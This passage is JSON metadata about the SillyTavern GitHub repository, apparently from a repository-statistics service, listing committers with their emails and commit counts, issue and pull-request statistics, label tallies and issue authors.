Pham","email":"117049703+pAnhTri","login":"pAnhTri","count":1},{"name":"AphidGit","email":"Aphid.mmonly@gmail.com","login":"AphidGit","count":1},{"name":"Ashley Saleem-west","email":"hello@ashleysw.com","login":"BooleanWhale","count":1},{"name":"Aykut Akgün","email":"68244453+Autumnlight02","login":"Autumnlight02","count":1},{"name":"Blueberry","email":"blueberrys","login":"blueberrys","count":1},{"name":"Blueprint Coding","email":"hayden@blueprintcoders.com","login":"BlueprintCoding","count":1},{"name":"Brendan McCauley","email":"brendan.e.mccauley@gmail.com","login":"BrendanMcCauley","count":1},{"name":"CJ Hauser","email":"christopher.j.hauser2025@outlook.com","login":"CloudCompile","count":1},{"name":"Casey Haralson","email":"casey.haralson@gmail.com","login":"CaseyHaralson","count":1},{"name":"Chris Bennight","email":"chris@slowcar.net","login":"chrisbennight","count":1},{"name":"Chris Kaiser","email":"admin@bahmut.de","login":"kaiser-chris","count":1},{"name":"Claude","email":"242468646+Claude","login":"Claude","count":1},{"name":"Crush0","email":"54226076+Crush0","login":"Crush0","count":1},{"name":"Martin Tibke","email":"martin.tibke@mailbox.org","login":"mtibke","count":1},{"name":"Max Gomez","email":"255206763+Max-Gomez","login":"Max-Gomez","count":1},{"name":"Mijyuoon","email":"mijyuoon@gmail.com","login":"Mijyuoon","count":1},{"name":"Moli","email":"merryzzchannel@gmail.com","login":"Moli13337","count":1},{"name":"Nicode","email":"RD_Nicode@outlook.com","login":"NicodeSS","count":1},{"name":"Nikolas Brown","email":"nbrown72504@gmail.com","login":"nbrown725","count":1},{"name":"Noah","email":"757748417@qq.com","login":"ransxd","count":1},{"name":"Nodude","email":"75137537+NodudeWasTaken","login":"NodudeWasTaken","count":1},{"name":"Ondřej Sakala","email":"sakalond@fit.cvut.cz","login":"africsnail","count":1},{"name":"PeterGriffin","email":"ziyuanhong09@gmail.com","login":"LazyPeterGriffin","count":1},{"name":"Preston Farr","email":"preston@prestonfarr.com","login":"xavisavvy","count":1},{"name":"QiuLG","email":"l237455523@outlook.com","login":"QiuLsG","count":1},{"name":"QiyuanChen","email":"72334646+qychen2001","login":"qychen2001","count":1},{"name":"Quairon-Nailo","email":"quairon_nailo@hotmail.com","login":"Quairon-Nailo","count":1},{"name":"Radovenchyk","email":"raddole@ukr.net","login":"Radovenchyk","count":1},{"name":"Randall Fitzgerald","email":"randall@dasaku.net","login":"digiwombat","count":1},{"name":"Rawi1005","email":"rawinakasem@gmail.com","login":"Rawi1005","count":1},{"name":"Raymond Flanagan","email":"tikthra@gmail.com","login":"Syferus","count":1},{"name":"RigbyB","email":"terryyyd@gmail.com","login":"rigbyb","count":1},{"name":"Rojikku","email":"Rojikku","login":"Rojikku","count":1},{"name":"Roland4396","email":"132747020+Roland4396","login":"Roland4396","count":1},{"name":"Sanitised","email":"bakeriesvader@gmail.com","login":"Sanitised","count":1},{"name":"SenatusSPQR1","email":"148453382+SenatusSPQR1","login":"SenatusSPQR1","count":1},{"name":"Seth Hoong","email":"hoongseth@gmail.com","login":"annoawesome","count":1},{"name":"Shinon","email":"contakt@shinon71.moe","login":"Ristellise","count":1},{"name":"Siyuan Chen","email":"chansey97@outlook.com","login":"chansey97","count":1},{"name":"Halsey1006","email":"dprimm1006@gmail.com","login":"Halsey1006","count":1},{"name":"Haochen","email":"38915833+hcsum","login":"hcsum","count":1},{"name":"HimeHina","email":"1545340072@qq.com","login":"Hime-Hina","count":1},{"name":"Huge","email":"mr.huge@seznam.cz","login":"Huge","count":1},{"name":"Jakub Jędrzejczyk","email":"aegiruchan@gmail.com","login":"jakub-jedrzejczyk","count":1},{"name":"Jay4242","email":"96741732+Jay4242","login":"Jay4242","count":1},{"name":"Jeff Sandberg","email":"jeff@pdx.su","login":"paradox460","count":1},{"name":"Jenner La Fave","email":"jenner@jfave.com","login":"jenrzzz","count":1},{"name":"Jeremy Schoemaker","email":"jeremy@shoemoney.com","login":"shoemoney","count":1},{"name":"John Tapsell","email":"johnflux@gmail.com","login":"johnflux","count":1},{"name":"Jonathan Nogueira","email":"LuminousPath","login":"LuminousPath","count":1},{"name":"KKTsN","email":"162718958+dz114879","login":"dz114879","count":1},{"name":"KaraKaraWitch","email":"134394640+KaraKaraWitch","login":"KaraKaraWitch","count":1},{"name":"Kas1o","email":"88198563+Kas1o","login":"Kas1o","count":1},{"name":"KegaPlayer","email":"128023803+KegaPlayer","login":"KegaPlayer","count":1},{"name":"Kexus","email":"pangolin321@gmail.com","login":"Kexus","count":1},{"name":"LammyShark","email":"b.andit.bat@gmail.com","login":"LammyShark","count":1},{"name":"Lllama","email":"34464159+pi6am","login":"pi6am","count":1},{"name":"Lockyer","email":"135391289+Lockyer228","login":"Lockyer228","count":1},{"name":"Lukas Straub","email":"lukasstraub2@web.de","login":"Lukey3332","count":1},{"name":"Madobe Ichika","email":"39766401+madobeichika","login":"madobeichika","count":1},{"name":"Mae Thomson","email":"haydenthomson@outlook.com","login":"maeeeeee","count":1},{"name":"Maks","email":"60156453+plumface-gcc","login":"plumface-gcc","count":1},{"name":"Maksim","email":"makssharkov@yandex.ru","login":"MaksSharkov","count":1},{"name":"Malformed C","email":"34691878+malformed-c","login":"malformed-c","count":1},{"name":"Manthan Awgan","email":"manthanawgan@gmail.com","login":"manthanawgan","count":1},{"name":"sirius422","email":"38351200+sirius422","login":"sirius422","count":1}],"past_year_committers":[{"name":"Cohee","email":"18619528+Cohee1207","login":"Cohee1207","count":309},{"name":"Wolfsblvt","email":"wolfsblvt@gmail.com","login":"Wolfsblvt","count":85},{"name":"DeclineThyself","email":"235079501+DeclineThyself","login":"DeclineThyself","count":24},{"name":"Copilot","email":"198982749+Copilot","login":"Copilot","count":23},{"name":"Leandro Jofré","email":"leandrotomasjofre@gmail.com","login":"leandrojofre","count":12},{"name":"Tony Gies","email":"tgies@tgies.net","login":"tgies","count":11},{"name":"DeathStalker471","email":"thomasnealson85@gmail.com","login":"DeathStalker471","count":6},{"name":"L","email":"123923688+Vibecoder9000","login":"Vibecoder9000","count":6},{"name":"Christoph","email":"code@yozora.eu","login":"Christoph-D","count":5},{"name":"Xiangzhe","email":"32761048+xz-dev","login":"xz-dev","count":5},{"name":"cloak1505","email":"170299980+cloak1505","login":"cloak1505","count":5},{"name":"Reithan","email":"bo122081@hotmail.com","login":"Reithan","count":4},{"name":"equal-l2","email":"eng.equall2@gmail.com","login":"equal-l2","count":4},{"name":"Tosd","email":"65720409+Tosd0","login":"Tosd0","count":3},{"name":"awaae","email":"108462724+awaae001","login":"awaae001","count":3},{"name":"docfail","email":"4965997+docfail","login":"docfail","count":3},{"name":"mightytribble","email":"246552901+mightytribble","login":"mightytribble","count":3},{"name":"underscore_x","email":"coffeebrown0@gmail.com","login":"underscorex86","count":3},{"name":"Spicy Marinara","email":"mgrabower97@gmail.com","login":"SpicyMarinara","count":3},{"name":"Octopus","email":"liyuan851277048@icloud.com","login":"octo-patch","count":3},{"name":"Beinsezii","email":"39478211+Beinsezii","login":"Beinsezii","count":3},{"name":"ZhenyaPav","email":"61346893+ZhenyaPav","login":"ZhenyaPav","count":2},{"name":"drake1138","email":"drakeroz1138@gmail.com","login":"drake1138","count":2},{"name":"StageDog","email":"aksanajw845@gmail.com","login":"StageDog","count":2},{"name":"my-alt","email":"250851737+my-alt-acct","login":"my-alt-acct","count":2},{"name":"柚柚子","email":"yuaiccc@aliyun.com","login":"yuaiccc","count":2},{"name":".:bubfix:.","email":"182156144+bubfix","login":"bubfix","count":2},{"name":"Serena","email":"85121347+AzureKarasuba","login":"AzureKarasuba","count":2},{"name":"Samueras","email":"Samueras@jackoedv.de","login":"Samueras","count":2},{"name":"Sammy","email":"sammy@sammcheese.net","login":"SammCheese","count":2},{"name":"Pavdig","email":"101715456+Pavdig","login":"Pavdig","count":2},{"name":"Mooki","email":"m@schienbein.dev","login":"mschienbein","count":2},{"name":"Ben","email":"44178664+cxmplex","login":"cxmplex","count":2},{"name":"Brioch","email":"134280928+Brioch","login":"Brioch","count":2},{"name":"CasualAutopsy","email":"107777585+CasualAutopsy","login":"CasualAutopsy","count":2},{"name":"Chanho Chung","email":"hello@chungchan.dev","login":"chungchandev","count":2},{"name":"Forkoz","email":"59298527+Ph0rk0z","login":"Ph0rk0z","count":2},{"name":"Jason Wu","email":"wujason810@gmail.com","login":"Jasonnor","count":2},{"name":"Kristian Schlikow","email":"Dakraid","login":"Dakraid","count":2},{"name":"Kristy Aurelia","email":"120577588+KrsityKu","login":"KrsityKu","count":2},{"name":"Lumi","email":"github@lumify.cat","login":"LumiWasTaken","count":2},{"name":"Jay4242","email":"96741732+Jay4242","login":"Jay4242","count":1},{"name":"Jeff Sandberg","email":"jeff@pdx.su","login":"paradox460","count":1},{"name":"HimeHina","email":"1545340072@qq.com","login":"Hime-Hina","count":1},{"name":"Haochen","email":"38915833+hcsum","login":"hcsum","count":1},{"name":"Jeremy Schoemaker","email":"jeremy@shoemoney.com","login":"shoemoney","count":1},{"name":"feg","email":"58643807+f-eg","login":"f-eg","count":1},{"name":"9nbf7c4q6b-lgtm","email":"9nbf7c4q6b@privaterelay.appleid.com","login":"9nbf7c4q6b-lgtm","count":1},{"name":"GentleBurr","email":"144729351+GentleBurr","login":"GentleBurr","count":1},{"name":"GERNOMA","email":"54479238+GERNOMA","login":"GERNOMA","count":1},{"name":"Frank Schubert","email":"f.schubert@gmail.com","login":"frankschubert","count":1},{"name":"Feldherren","email":"rpaliwoda@googlemail.com","login":"Feldherren","count":1},{"name":"F.B.","email":"FishBoneEK@outlook.com","login":"fishBone000","count":1},{"name":"EugeoSynthesisThirtyTwo","email":"gabriel.dhimoila@gmail.com","login":"EugeoSynthesisThirtyTwo","count":1},{"name":"Enerccio","email":"admin@en-circle.com","login":"Enerccio","count":1},{"name":"Alex Dills","email":"alex@stechstudio.com","login":"V13Axel","count":1},{"name":"Alpha-Omicron","email":"163928678+alpha-omicron","login":"alpha-omicron","count":1},{"name":"AndSi-327","email":"forzesenasri@gmail.com","login":"AndSi-327","count":1},{"name":"AphidGit","email":"Aphid.mmonly@gmail.com","login":"AphidGit","count":1},{"name":"Blueberry","email":"blueberrys","login":"blueberrys","count":1},{"name":"CJ Hauser","email":"christopher.j.hauser2025@outlook.com","login":"CloudCompile","count":1},{"name":"Claude","email":"242468646+Claude","login":"Claude","count":1},{"name":"Crush0","email":"54226076+Crush0","login":"Crush0","count":1},{"name":"DN2331","email":"92578034+DN2331","login":"DN2331","count":1},{"name":"Dclef","email":"42974381+Dclef","login":"Dclef","count":1},{"name":"DragonFSKY","email":"38503900+DragonFSKY","login":"DragonFSKY","count":1},{"name":"KKTsN","email":"162718958+dz114879","login":"dz114879","count":1},{"name":"voodoohop","email":"thomash@pollinations.ai","login":null,"count":1},{"name":"fathom0324","email":"221750481+fathom0324","login":"fathom0324","count":1},{"name":"crsp6447","email":"crsp6447@pm.me","login":"crsp6447","count":1},{"name":"bumprat","email":"bumprat","login":"bumprat","count":1},{"name":"bmen25124","email":"bmen25124@gmail.com","login":"bmen25124","count":1},{"name":"bbastex","email":"33435998+bbastex","login":"bbastex","count":1},{"name":"bal-spec","email":"186531371+bal-spec","login":"bal-spec","count":1},{"name":"ashishch432","email":"55024632+ashishch432","login":"ashishch432","count":1},{"name":"allo-","email":"allo@laxu.de","login":"allo-","count":1},{"name":"allen9441","email":"72611024+allen9441","login":"allen9441","count":1},{"name":"alex","email":"axAilotl@pm.me","login":"axAilotl","count":1},{"name":"adventchilde / aethel","email":"93360954+adventchilde","login":"adventchilde","count":1},{"name":"Zhewen Tan","email":"1090179959@qq.com","login":"tandede","count":1},{"name":"Yongjie Guan","email":"53615699+CodeBoy2006","login":"CodeBoy2006","count":1},{"name":"YKDZ","email":"3070799584@QQ.COM","login":"YKDZ","count":1},{"name":"X00LA","email":"xoolalp@gmail.com","login":"X00LA","count":1},{"name":"Wagner Bruna","email":"wbruna","login":"wbruna","count":1},{"name":"曹博淳","email":"neineiwasher@gmail.com","login":"CBOSSX","count":1},{"name":"Em","email":"136832482+m98bw","login":"m98bw","count":1},{"name":"加乘","email":"93032489+40436michael","login":"40436michael","count":1},{"name":"thecaptain789","email":"257642323+thecaptain789","login":"thecaptain789","count":1},{"name":"shifusen329","email":"quanhong329@gmail.com","login":"shifusen329","count":1},{"name":"san-tian","email":"58291765+san-tian","login":"san-tian","count":1},{"name":"saitewasreset","email":"150151481+saitewasreset","login":"saitewasreset","count":1},{"name":"realyxl","email":"realyuxuanli@gmail.com","login":"realyxl","count":1},{"name":"qvink","email":"191186569+qvink","login":"qvink","count":1},{"name":"primorLee","email":"lwz2077950009@outlook.com","login":"primorLee","count":1},{"name":"mekineer","email":"mekineer@proton.me","login":"mekineer-com","count":1},{"name":"maxime-fleury","email":"81691077+maxime-fleury","login":"maxime-fleury","count":1},{"name":"lunar sheep","email":"102860538+dylenyedc","login":"dylenyedc","count":1},{"name":"kings9527","email":"168347801+kings9527","login":"kings9527","count":1},{"name":"kashmirmydon","email":"seashallow@proton.me","login":"kashmirmydon","count":1},{"name":"guoql666","email":"30526996+guoql666","login":"guoql666","count":1},{"name":"fruit","email":"1746125922@qq.com","login":"chen-jiying","count":1},{"name":"QiyuanChen","email":"72334646+qychen2001","login":"qychen2001","count":1},{"name":"QiuLG","email":"l237455523@outlook.com","login":"QiuLsG","count":1},{"name":"Preston Farr","email":"preston@prestonfarr.com","login":"xavisavvy","count":1},{"name":"PeterGriffin","email":"ziyuanhong09@gmail.com","login":"LazyPeterGriffin","count":1},{"name":"Noah","email":"757748417@qq.com","login":"ransxd","count":1},{"name":"Ngo Dinh Gia Bao","email":"112873281+snowby666","login":"snowby666","count":1},{"name":"Moli","email":"merryzzchannel@gmail.com","login":"Moli13337","count":1},{"name":"Max Gomez","email":"255206763+Max-Gomez","login":"Max-Gomez","count":1},{"name":"Martin Tibke","email":"martin.tibke@mailbox.org","login":"mtibke","count":1},{"name":"Marcela Petra Ferraz de Novaes","email":"novaes.marcela@outlook.com","login":"m-petra-fn","count":1},{"name":"Manthan Awgan","email":"manthanawgan@gmail.com","login":"manthanawgan","count":1},{"name":"Malformed C","email":"34691878+malformed-c","login":"malformed-c","count":1},{"name":"Maksim","email":"makssharkov@yandex.ru","login":"MaksSharkov","count":1},{"name":"Madobe Ichika","email":"39766401+madobeichika","login":"madobeichika","count":1},{"name":"Lukas Straub","email":"lukasstraub2@web.de","login":"Lukey3332","count":1},{"name":"Lockyer","email":"135391289+Lockyer228","login":"Lockyer228","count":1},{"name":"Kexus","email":"pangolin321@gmail.com","login":"Kexus","count":1},{"name":"Unnatural Developer","email":"40277404+unnaturaldeveloper","login":"unnaturaldeveloper","count":1},{"name":"Trahloc","email":"github-com@trahloc.com","login":"Trahloc","count":1},{"name":"Theros","email":"theros@svaltek.xyz","login":"Therosin","count":1},{"name":"Tantoofaaz777","email":"95540691+Tantoofaaz777","login":"Tantoofaaz777","count":1},{"name":"TanJeeSchuan","email":"89920999+TanJeeSchuan","login":"TanJeeSchuan","count":1},{"name":"TLD","email":"102594721+TheLonelyDevil9","login":"TheLonelyDevil9","count":1},{"name":"Subwolf","email":"jeraran23@gmail.com","login":"subzero5544","count":1},{"name":"Stardust","email":"1441308506a@gmail.com","login":"Reisenbug","count":1},{"name":"Stagnating","email":"stagnantarchives@gmail.com","login":"Stagnating","count":1},{"name":"SoniaNvm","email":"sonianevermindwaifu@gmail.com","login":"egirlmilkers","count":1},{"name":"Siyuan Chen","email":"chansey97@outlook.com","login":"chansey97","count":1},{"name":"SenatusSPQR1","email":"148453382+SenatusSPQR1","login":"SenatusSPQR1","count":1},{"name":"Sanitised","email":"bakeriesvader@gmail.com","login":"Sanitised","count":1},{"name":"Roland4396","email":"132747020+Roland4396","login":"Roland4396","count":1},{"name":"Rojikku","email":"Rojikku","login":"Rojikku","count":1},{"name":"Robert de Forest","email":"guitar.robot@gmail.com","login":"rdeforest","count":1},{"name":"Raymond Flanagan","email":"tikthra@gmail.com","login":"Syferus","count":1},{"name":"0x4kgi","email":"17591127+0x4kgi","login":"0x4kgi","count":1}],"commits_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/commits","host":{"name":"GitHub","url":"https://github.com","kind":"github","last_synced_at":"2026-10-25T00:00:19.066Z","repositories_count":8578437,"commits_count":1303673263,"contributors_count":59834706,"owners_count":1844437,"committers_count":3889901,"icon_url":"https://github.com/github.png","host_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub/repositories"}},"issues":{"table":{"full_name":"SillyTavern/SillyTavern","html_url":"https://github.com/SillyTavern/SillyTavern","last_synced_at":"2026-10-24T15:48:10.252Z","status":null,"issues_count":1535,"pull_requests_count":1951,"avg_time_to_close_issue":9650678.166889185,"avg_time_to_close_pull_request":692333.3818827709,"issues_closed_count":749,"pull_requests_closed_count":1126,"pull_request_authors_count":471,"issue_authors_count":926,"avg_comments_per_issue":2.0,"avg_comments_per_pull_request":1.1348026652998462,"merged_pull_requests_count":768,"bot_issues_count":1,"bot_pull_requests_count":6,"past_year_issues_count":136,"past_year_pull_requests_count":215,"past_year_avg_time_to_close_issue":1789643.7142857143,"past_year_avg_time_to_close_pull_request":2091957.5151515151,"past_year_issues_closed_count":14,"past_year_pull_requests_closed_count":66,"past_year_pull_request_authors_count":148,"past_year_issue_authors_count":127,"past_year_avg_comments_per_issue":1.6176470588235294,"past_year_avg_comments_per_pull_request":1.227906976744186,"past_year_bot_issues_count":1,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":28,"created_at":"2024-09-20T18:45:03.324Z","updated_at":"2026-10-24T15:48:10.252Z","repository_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern","issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/issues","issue_labels_count":{"table":{"🦄 Feature Request":610,"🐛 Bug":595,"⚰️ Stale":239,"🕸️ Inactive":231,"🪟 Windows":166,"✅ Done (staging)":72,"🐧 Linux":60,"bug":52,"enhancement":49,"💤 Low Priority":22,"🚧 Alternative Exists":22,"👤 Awaiting Maintainer Response":21,"👍 Approved":19,"✖️ Not A Bug":18,"🐋 Docker":18,"🛑 Out of Scope":17,"🚏 Awaiting User Response":17,"📱 Termux":15,"✅ Fixed":14,"❌ wontfix":14,"🤔 Under Consideration":13,"🪲 Confirmed":12,"🗺️ World Info":9,"🌟 UX":8,"🧑‍💻 In Progress":8,"🛑 No Response":8,"🍎 Mac":8,"👩‍💻 Good First Issue":8,"🤷‍♂️ Question":6,"🤖 API / Model":6,"❕ Medium Priority":6,"➕ Extension":6,"📜 STscript":6,"🔧 External issue":5,"📦 Docker issue":5,"✅ Done":5,"🧩 Macros":4,"✖️ Not Reproducible":4,"✖️ Invalid":4,"🙏 Help Wanted":4,"🎙️ TTS / Voice":3,"🦊 Firefox":3,"📌 Keep Open":3,"🕸️ Potential Duplicate":3,"🚄 Performance":3,"📱 Mobile":2,"🚚 Refactor":2,"🕸️ Duplicate":2,"🧠 Reasoning":2,"💀 Spam":1,"🧑‍🤝‍🧑 Group Chat":1,"🟨 PR - Medium":1,"💄 Stylistic Changes":1,"🖼️ Image Gen":1,"⚙️ config.yaml":1,"📞 Support Ticket":1,"💬 Question / Discussion":1,"🏷️ Tags / Folders":1,"✨ Feature Changes":1,"⚙️ Preset":1,"🤔 Unsure":1,"🏗️ Architectural Changes":1,"🌐 Language":1}},"pull_request_labels_count":{"table":{"🟩 PR - Small":332,"👷 Maintainer":273,"🏭 Backend Changes":225,"🟩 ⬤○○○○":136,"🦋 Bug Fix":130,"✨ Feature Changes":125,"🟩 ⬤⬤○○○":122,"🤖 API / Model":111,"🟨 ⬤⬤⬤○○":104,"🟨 PR - Medium":100,"🚚 Refactor":81,"➕ Extension":79,"🌐 Language":68,"✨ New Feature":67,"🌱 Minor Changes":67,"❗ Against Release Branch":66,"📜 STscript":52,"🧠 Reasoning":41,"🌟 UX":38,"🚫 Merge Conflicts":37,"📥 Dependencies":37,"🗺️ World Info":36,"🟥 ⬤⬤⬤⬤⬤":36,"💄 Stylistic Changes":32,"⚙️ Preset":29,"⚙️ config.yaml":27,"🛠️ Build Changes":26,"🤔 Unsure":22,"🎙️ TTS / Voice":19,"📜 Prompt":19,"🟧 ⬤⬤⬤⬤○":19,"🚄 Performance":18,"🔨 Needs Work":17,"🟥 PR - XL":16,"⚰️ Stale":16,"🔜 Superseded":15,"🐛 Bug":15,"📕 Docs":15,"💥💣 Breaking Changes":15,"🖼️ Image Gen":13,"🕸️ Inactive":13,"✖️ Invalid":12,"🟧 PR - Large":11,"⛔ Don't Merge":10,"🧩 Macros":9,"🔬 Needs Testing":8,"🧑‍🤝‍🧑 Group Chat":8,"🦄 Feature Request":8,"🪟 Windows":7,"🕸️ Duplicate":6,"🏗️ Architectural Changes":6,"🚑 Hot Fix":5,"💀 Spam":5,"🔨 Tool Calling":4,"⛔ Waiting For External/Upstream":4,"⚠️ High Priority":4,"📱 Mobile":4,"dependencies":3,"javascript":3,"📥dependencies":3,"📌 Keep Open":3,"🤔 Under Consideration":3,"🏷️ Tags / Folders":3,"💤 Low Priority":2,"❕ Medium Priority":2,"🐧 Linux":2,"✅ Done (staging)":2,"📱 Termux":2,"✅ Fixed":2,"🐋 Docker":2,"🛠️ Build Changes / Workflows":1,"👤 Awaiting Maintainer Response":1,"✨ Vibe Coded":1,"👍 Top Issues!":1,"🪲 Confirmed":1,"🚏 Awaiting User Response":1,"🦼 Accessibility":1}},"issue_author_associations_count":{"table":{"NONE":1346,"CONTRIBUTOR":181,"COLLABORATOR":7,"MEMBER":1}},"pull_request_author_associations_count":{"table":{"CONTRIBUTOR":771,"NONE":753,"MEMBER":262,"COLLABORATOR":164,"OWNER":1}},"issue_authors":{"table":{"cloak1505":35,"linkpharm":23,"valden80":20,"steve02081504":20,"drago87":18,"Ph0rk0z":16,"imesha10":16,"Technologicat":14,"JashBadash":14,"creamsan":13,"BrendanMcCauley":12,"GOLDENLULUZ":10,"ProgrammerFailure":10,"Giglio256":9,"RendiHD":8,"Quairon-Nailo":8,"KingXMAX":7,"Teashrock":7,"Feldherren":7,"aikitoria":7,"qw1642190428":7,"SabinStargem":6,"stho90":6,"AnonCardMaker":6,"alicat22":6,"LurkerHub":6,"Abdulhanan535":6,"Avroboros":6,"allo-":6,"InspectorCaracal":6,"Amanoki":6,"SimplyCorbett":6,"huybin1234b":6,"Vibecoder9000":5,"frenzybiscuit":5,"lannashelton":5,"EugeoSynthesisThirtyTwo":5,"Reithan":5,"AlyxMS":5,"Lissanro":5,"sophosympatheia":5,"soboruB":5,"equal-l2":5,"Sorro123":5,"blueswolf":5,"Spacellary":5,"da2ce7":5,"Wolfsblvt":4,"Drael64":4,"Nephanor-of-Fraal":4,"hgftrdw45ud67is8o89":4,"1015g":4,"TimCollins31":4,"equivalentx":4,"bobcate":4,"zonde306":4,"deffcolony":4,"etgv2":4,"Memebread":4,"honey-tree":4,"qwertea":4,"Erquint":4,"GuyfromGit":4,"iChristGit":4,"Barbariskaa":4,"Beinsezii":3,"infinit-X":3,"XZVB12":3,"HDembinski":3,"Manimap":3,"Sazu-bit":3,"vorpal-void":3,"datismik":3,"kamomehettapi":3,"luisbrandao":3,"maxime-fleury":3,"Mereck13579":3,"dariox1337":3,"GentlemanOfCulture":3,"QuantumEntangledAndy":3,"ghost":3,"1guts1":3,"Enferlain":3,"attyru":3,"Targren":3,"leandrojofre":3,"normana234":3,"leetraman822":3,"shaolinmaru":3,"vikanezrimaya":3,"jiayev":3,"CuddleBear92":3,"Touch-Night":3,"whiskeyfur":3,"nekohacker591":3,"kakhulu31":3,"Cansburg":3,"yca321":3,"DDXDB":3,"cmdrscotty":2,"Bruhmement":2,"Vancycc":2,"OKN1212":2,"jojogladman":2,"m8rr":2,"AyeeMinerva":2,"rsmyst":2,"magicdmer":2,"kzorin52":2,"Freezer91":2,"axel10":2,"MAX-TAB":2,"Cruxial0":2,"7erminalVelociraptor":2,"Nightshade321":2,"BRAIN-IS-BACK":2,"Zormbot":2,"sasha0552":2,"dariusmccloud":2,"AE720":2,"dfyzarc":2,"maniac-0s":2,"TamaGITchi":2,"PNG-pyro":2,"underscorex86":2,"DestoryG":2,"Solomon1732":2,"DysAnia1013":2,"rosx27":2,"trihardseven":2,"arrogance231":2,"CFalcon075":2,"Xabab":2,"Brayan123KM":2,"devincenziclaudia94-blip":2,"SD-fan":2,"Succubyss":2,"Theking1313":2,"Asais10":2,"MilesQLi":2,"parsedone":2,"chenshu007":2,"GithubPrankster":2,"p-e-w":2,"skatardude10":2,"Incognito15647":2,"rrosmarinuss":2,"SSJGabraham":2,"kalomaze":2,"Jasonnor":2,"1972074121":2,"Varming73":2,"NGRBot":2,"MNarath1":2,"ahmed-elj":2,"MemeticGitHubUser":2,"gamerboi9999":2,"TheWandering514":2,"keturn":2,"wooooyeahhhh":2,"Torel87":2,"ArkyMosuke":2,"sirius422":2,"oosiv":2,"MoonS11":2,"Kaiten10":2,"MyComputerIsBig":2,"Mark91-91":2,"Omniphantasm":2,"digiwombat":2,"watashi55":2,"Crozzwise":2,"hopto-dot":2,"rlach":2,"Sqrlly":2,"AiD-69420":2,"Tremontaine":2,"RBNXI":2,"Wprussell":2,"AltHeaven001":2,"WolframRavenwolf":2,"minipasila":2,"vitorfdl":2,"haowdi":2,"ElMensajero6":2,"ferhimedamine":2,"WBlair1":2,"AquaSZS":2,"HiroseKoichi":2,"IkariDevGIT":2,"btaskel":2,"LancelotChanrsw":2,"kiradzS":2,"sndkcd":2,"Xerxes-2":2,"nothingsuspiciousright":2,"Tuxaios":2,"EricVangogh":2,"Mikhael-Danilov":2,"ytpk":2,"KazPulse":2,"hartmark":2,"PrinceCaspian1982":2,"MichaelData":2,"Susanoo1337":2,"dynilath":2,"waltersamson":2,"AIarchaea":2,"aikohanasaki":2,"Daviljoe193":2,"valarauca":1,"Nexnisus":1,"vivekgupta-memcode":1,"engadine1997":1,"cuihuan":1,"LuluViBritannia":1,"NoMansPC":1,"Summanen":1,"Amulet9":1,"gricafrossippau":1,"Meus-Artis":1,"Lex-DRL":1,"bluekeyboards":1,"4chanx":1,"GamingDaveUk":1,"Kentaree":1,"Dark-Thoughts":1,"Mertsudo":1,"SolvAI":1,"t-m-w":1,"rbqyorino":1,"sqnztb":1,"haterfactory":1,"Inf1e":1,"aelfwyne":1,"Alkohole":1,"jinxishe":1,"wereretot":1,"fanj1216yxing":1,"novakda":1,"FeignClaims":1,"spozze1":1,"djssb":1,"Carnyzzle":1,"Alucardac1":1,"David-AU-github":1,"syddsparty":1,"Donnerdog":1,"RGyAIjhaole":1,"FallingSnow":1,"drallcom3":1,"sillytavernfan":1,"HideAGNP":1,"AliceRabbit":1,"oivio":1,"tantrev":1,"alanmccallum":1,"aaronshenhao":1,"TequilaSunset123123":1,"CyberSys":1,"dnhrdt":1,"GitBeavis":1,"Cesditarllas":1,"JackTheTripperr":1,"pyonpyondev":1,"AllanBlackwater":1,"Simplegram":1,"Mole-chan":1,"brunsonator3":1,"zshallow":1,"Remover88":1,"Mintberry1":1,"Alphaelectric":1,"2haloes":1,"OdinVex":1,"sexypenguinz":1,"maleur0":1,"udada63":1,"jeanhadrien":1,"grasemydog":1,"ssfdre38":1,"nventstudios":1,"rivey404":1,"Botoni":1,"elouannd":1,"gchebanov":1,"AcyTheWeirdAce":1,"pubgqreen":1,"jmoney7823956789378":1,"hadar555":1,"win10ogod":1,"eigeen":1,"RicedOutDesktop":1,"Tosd0":1,"Tokisaki-Galaxy":1,"OctavianTheI":1,"TNT3530":1,"yokuminto":1,"ArsArcanumb":1,"Nrgte":1,"a542557923":1,"OBraveNewWorld":1,"Anxious99":1,"jeffkelly2020":1,"brogowski":1,"akvadrako":1,"67372a":1,"iamabigartist":1,"denish07-a":1,"xkdopod":1,"sheldonrrr":1,"Kendr1ckFu":1,"Moli13337":1,"wycstc353":1,"zhiyi114514":1,"PhoenixGameDevelopment":1,"xalyy":1,"jobobby04":1,"CarrotFarmering":1,"seismic-toss":1,"HuanMeng-official":1,"HappySpanker":1,"tamwile":1,"uorufu":1,"YandreTheDrone":1,"ampcpmgp":1,"ballerburg9005":1,"8u6man":1,"Euchale":1,"xtul9":1,"LevyWilson":1,"operamaniac":1,"FrostyMisa":1,"gustrd":1,"Falocentricus":1,"cursor[bot]":1,"Wormix48":1,"glloyd0314":1,"doloreshaze337":1,"tish1781":1,"brahh85":1,"Ominai":1,"isaac-mcfadyen":1,"NinjaPerson24119":1,"theredwillow":1,"deoxykev":1,"nova452":1,"Elthial":1,"luzhenyi0115-like":1,"qianye321":1,"hoshiiro":1,"haliliceylan":1,"DoshideDK":1,"fschiro":1,"vegitableoil":1,"TAKEMURAYOUEMON":1,"sjuxax":1,"Hooty-McOwlface":1,"Yuugirihime":1,"Abulhanan":1,"Ktrcoyote":1,"LostS1ght":1,"WizardShawn":1,"sss123next":1,"majick":1,"Endebert":1,"Derpford":1,"brokenwing":1,"reynard-vulpes":1,"559889a":1,"Zeralun":1,"Koden02":1,"iqiu2023":1,"kaldigo":1,"jcsanady":1,"johnbenac":1,"coomdev":1,"Magratheuis":1,"terurouterurou9-dev":1,"alekslt":1,"zc-cu":1,"QianQian2077":1,"Pashax2":1,"slydog3333":1,"Frangkley":1,"manofphysics":1,"cditschler":1,"julez122":1,"StellarBeing25":1,"Culpeo":1,"11days":1,"zmm147":1,"Viking1811":1,"drgnfr6":1,"zer0thgear":1,"connerlambden":1,"Anon6432":1,"ttoomm55":1,"BanQuyY":1,"Tomolasthill":1,"boneylizard":1,"goodglitch":1,"sbstn87":1,"miniwa